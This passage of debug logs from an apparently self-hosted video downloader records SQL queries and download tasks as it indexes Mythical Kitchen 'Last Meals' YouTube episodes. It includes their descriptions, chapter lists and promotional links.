The Chipotle Black Card\n24:47 That's What She Said\n25:26 An Ode To The Fried Plantain\n26:45 Preparing A Body For Burial\n28:50 Seeing The Soul In A Tear\n29:47 4th Course\n30:51 You Can't Legislate Away Evil\n34:00 What Do You Think Happens When You Die?\n36:14 Lightning Round\n39:09 Rainn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Rainn Wilson Eats His Last Meal", "481cc585-ed29-4c62-80ba-c3eca5fa0c6c", "https://www.youtube.com/watch?v=GI9314kbYKw", false, "GI9314kbYKw", 2409, false, 54, "/downloads/Last Meals/2025-05-01 Rainn Wilson Eats His Last Meal/Rainn Wilson Eats His Last Meal [GI9314kbYKw].mp4", false, false, 1, [], 0, ~U[2025-05-01 10:00:23Z], ~U[2026-03-28 00:48:18Z], ~U[2026-03-28 00:48:18Z], "Today, Rainn Wilson eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Rainn's Last Meal\n0:20 Dwight Shrute Works At Mrs. Fields\n1:18 Have You Thought About Your Last Meal Before?\n1:50 How Often Do You Think About Death?\n2:40 1st Course\n4:40 Are Simulation Theory & Theism Compatible?\n5:43 Spirituality & Meatloaf\n7:28 The Bahai Faith & Star Trek\n9:56 What Gives You Hope For The Future?\n12:16 We Need Potlucks\n12:40 2nd Course\n14:58 Art As Worship\n16:58 Is God Necessary?\n18:14 Religion, Gaza, & Hot Dish\n20:07 3rd Course\n21:31 Why Rainn Hates The Word Charity\n23:57 The Chipotle Black Card\n24:47 That's What She Said\n25:26 An Ode To The Fried Plantain\n26:45 Preparing A Body For Burial\n28:50 Seeing The Soul In A Tear\n29:47 4th Course\n30:51 You Can't Legislate Away Evil\n34:00 What Do You Think Happens When You Die?\n36:14 Lightning Round\n39:09 Rainn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Rainn Wilson Eats His Last Meal", "https://www.youtube.com/watch?v=GI9314kbYKw", "GI9314kbYKw", 2409, false, "/downloads/Last Meals/2025-05-01 Rainn Wilson Eats His Last Meal/Rainn Wilson Eats His Last Meal [GI9314kbYKw].mp4", false, 1, ~U[2025-05-01 10:00:23Z]] 20:48:18.589 [debug] QUERY OK source="sources" db=0.1ms idle=493.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:18.589 [debug] QUERY OK source="media_profiles" db=0.1ms idle=28.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:18.590 [debug] QUERY OK source="media_items" db=0.2ms idle=28.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [54] 20:48:18.590 [info] Kicking off download for media item #54 (GI9314kbYKw) 20:48:18.592 [debug] QUERY OK source="tasks" db=0.1ms idle=3.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [57, 54, ~U[2026-03-28 00:48:18Z], ~U[2026-03-28 00:48:18Z]] 20:48:18.592 [debug] Current batch of media processed. Will check again in 1000ms 20:48:19.593 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Sean Evans eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n00:00 Sean's Last Meal\n00:18 Chicago Tour Guide Summers\n02:13 Thinking About Death At The Dentist\n04:08 1st Course\n04:47 Taco Bell Hot Sauce \n05:48 King Of Interviews\n07:40 The Innovation Of The Crunchwrap Supreme\n08:27 Pettiness As Fuel\n10:39 The Ultimate Assist Man\n12:35 We Need To Talk About Da Bomb\n15:01 2nd Course\n15:33 Love Letter To Chicago\n18:49 Middle School Baseball\n21:46 Interviews Are A Trust Exercise\n23:26 Cancer Is A Nightmare That Never Stops\n26:16 The Best Dad\n27:49 3rd Course\n29:50 Accidentally Predicting His Own Career\n32:19 Josh Freelances For First We Feast\n33:45 Staying Sane On The Internet\n36:04 4th Course\n38:17 Sean Asks Josh A \"Last Dab\" Question\n41:24 Are You Happy?\n42:12 What Do You Think Happens When You Die?\n42:59 Lightning Round\n45:32 Sean's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2777, "filename" => "/downloads/Last Meals/2024-08-13 Sean Evans Eats His Last Meal/Sean Evans Eats His Last Meal [ZgLs4fDr8aI].mp4", "id" => "ZgLs4fDr8aI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ZgLs4fDr8aI", "playlist_index" => 55, "timestamp" => 1723543229, "title" => "Sean Evans Eats His Last Meal", "upload_date" => "20240813"} 20:48:19.594 [debug] QUERY OK source="sources" db=0.1ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:19.594 [debug] QUERY OK source="sources" db=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:19.595 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-13 10:00:29Z], 1] 20:48:19.597 [debug] QUERY OK source="media_items" db=1.6ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Sean Evans eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n00:00 Sean's Last Meal\n00:18 Chicago Tour Guide Summers\n02:13 Thinking About Death At The Dentist\n04:08 1st Course\n04:47 Taco Bell Hot Sauce \n05:48 King Of Interviews\n07:40 The Innovation Of The Crunchwrap Supreme\n08:27 Pettiness As Fuel\n10:39 The Ultimate Assist Man\n12:35 We Need To Talk About Da Bomb\n15:01 2nd Course\n15:33 Love Letter To Chicago\n18:49 Middle School Baseball\n21:46 Interviews Are A Trust Exercise\n23:26 Cancer Is A Nightmare That Never Stops\n26:16 The Best Dad\n27:49 3rd Course\n29:50 Accidentally Predicting His Own Career\n32:19 Josh Freelances For First We Feast\n33:45 Staying Sane On The Internet\n36:04 4th Course\n38:17 Sean Asks Josh A \"Last Dab\" Question\n41:24 Are You Happy?\n42:12 What Do You Think Happens When You Die?\n42:59 Lightning Round\n45:32 Sean's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Sean Evans Eats His Last Meal", "0525ae2e-1814-4ac5-a490-884740ca095d", "https://www.youtube.com/watch?v=ZgLs4fDr8aI", false, "ZgLs4fDr8aI", 2777, false, 55, "/downloads/Last Meals/2024-08-13 Sean Evans Eats His Last Meal/Sean Evans Eats His Last Meal [ZgLs4fDr8aI].mp4", false, false, 1, [], 0, ~U[2024-08-13 10:00:29Z], ~U[2026-03-28 00:48:19Z], ~U[2026-03-28 00:48:19Z], "Today, Sean Evans eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n00:00 Sean's Last Meal\n00:18 Chicago Tour Guide Summers\n02:13 Thinking About Death At The Dentist\n04:08 1st Course\n04:47 Taco Bell Hot Sauce \n05:48 King Of Interviews\n07:40 The Innovation Of The Crunchwrap Supreme\n08:27 Pettiness As Fuel\n10:39 The Ultimate Assist Man\n12:35 We Need To Talk About Da Bomb\n15:01 2nd Course\n15:33 Love Letter To Chicago\n18:49 Middle School Baseball\n21:46 Interviews Are A Trust Exercise\n23:26 Cancer Is A Nightmare That Never Stops\n26:16 The Best Dad\n27:49 3rd Course\n29:50 Accidentally Predicting His Own Career\n32:19 Josh Freelances For First We Feast\n33:45 Staying Sane On The Internet\n36:04 4th Course\n38:17 Sean Asks Josh A \"Last Dab\" Question\n41:24 Are You Happy?\n42:12 What Do You Think Happens When You Die?\n42:59 Lightning Round\n45:32 Sean's Last Words\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning (truncated) 20:48:19.597 [debug] QUERY OK source="sources" db=0.1ms idle=500.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:19.598 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:19.598 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [55] 20:48:19.598 [info] Kicking off download for media item #55 (ZgLs4fDr8aI) 20:48:19.600 [debug] QUERY OK source="tasks" db=0.1ms queue=0.1ms idle=2.2ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [58, 55, ~U[2026-03-28 00:48:19Z], ~U[2026-03-28 00:48:19Z]] 20:48:19.600 [debug] Current batch of media processed. Will check again in 1000ms 20:48:20.601 [debug] Current batch of media processed. Will check again in 1000ms 20:48:21.603 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Emma Chamberlain's last meal.\n\nCheck out Emma Chamberlain's channel! - @emmachamberlain \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Emma's Last Meal Menu\n0:29 Advice on Self Esteem\n1:48 How Emma Came Up With Her Last Meal\n3:02 How Often Do You Think About Death?\n4:20 1st Course - Chocolate Croissant & Chamberlain Coffee\n5:58 Emma Loves France\n6:32 Gen Z & Anxiety\n7:39 Tune Into The Real World\n10:47 2nd Course - Tater Tots With Aoilis & Orange Wine\n13:39 Impostor Syndrome On YouTube\n14:25 When Being Online Causes An Identity Crisis\n16:51 Course 3 - Thai Curry & Falafel\n18:06 Is Pain Necessary In Love?\n19:48 Anxious Attachment\n20:07 Death Anxiety & Depression\n22:49 Fear Of Losing Parents\n24:27 Course 4 - Rice & Bean Burrito & Fusilli Pesto\n25:55 Perks Of Feeling Insignificant\n26:41 Emma's Offgrid Escape Plan\n27:39 Starting A Family\n28:10 Setting Expectations For Your Emotions\n29:02 Healing Your Inner Child\n30:00 The Universe, Miracles, & Spirituality\n32:10 Silly Little Human Games\n32:31 Not Being Able To Poop\n33:26 Lightning Round— Who Would You Want To Share Your Actual Last Meal With?\n34:26 Who Is The Coolest Person You Saw At The Met Gala?\n34:50 Emma's Celebrity Crush\n36:06 Would You Rather Go Decaf Or Gluten Free?\n36:45 What's Your Biggest Fear?\n37:40 Emma's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=" <> ..., "duration" => 2427, "filename" => "/downloads/Last Meals/2023-11-14 Emma Chamberlain Eats Her Last Meal/Emma Chamberlain Eats Her Last Meal 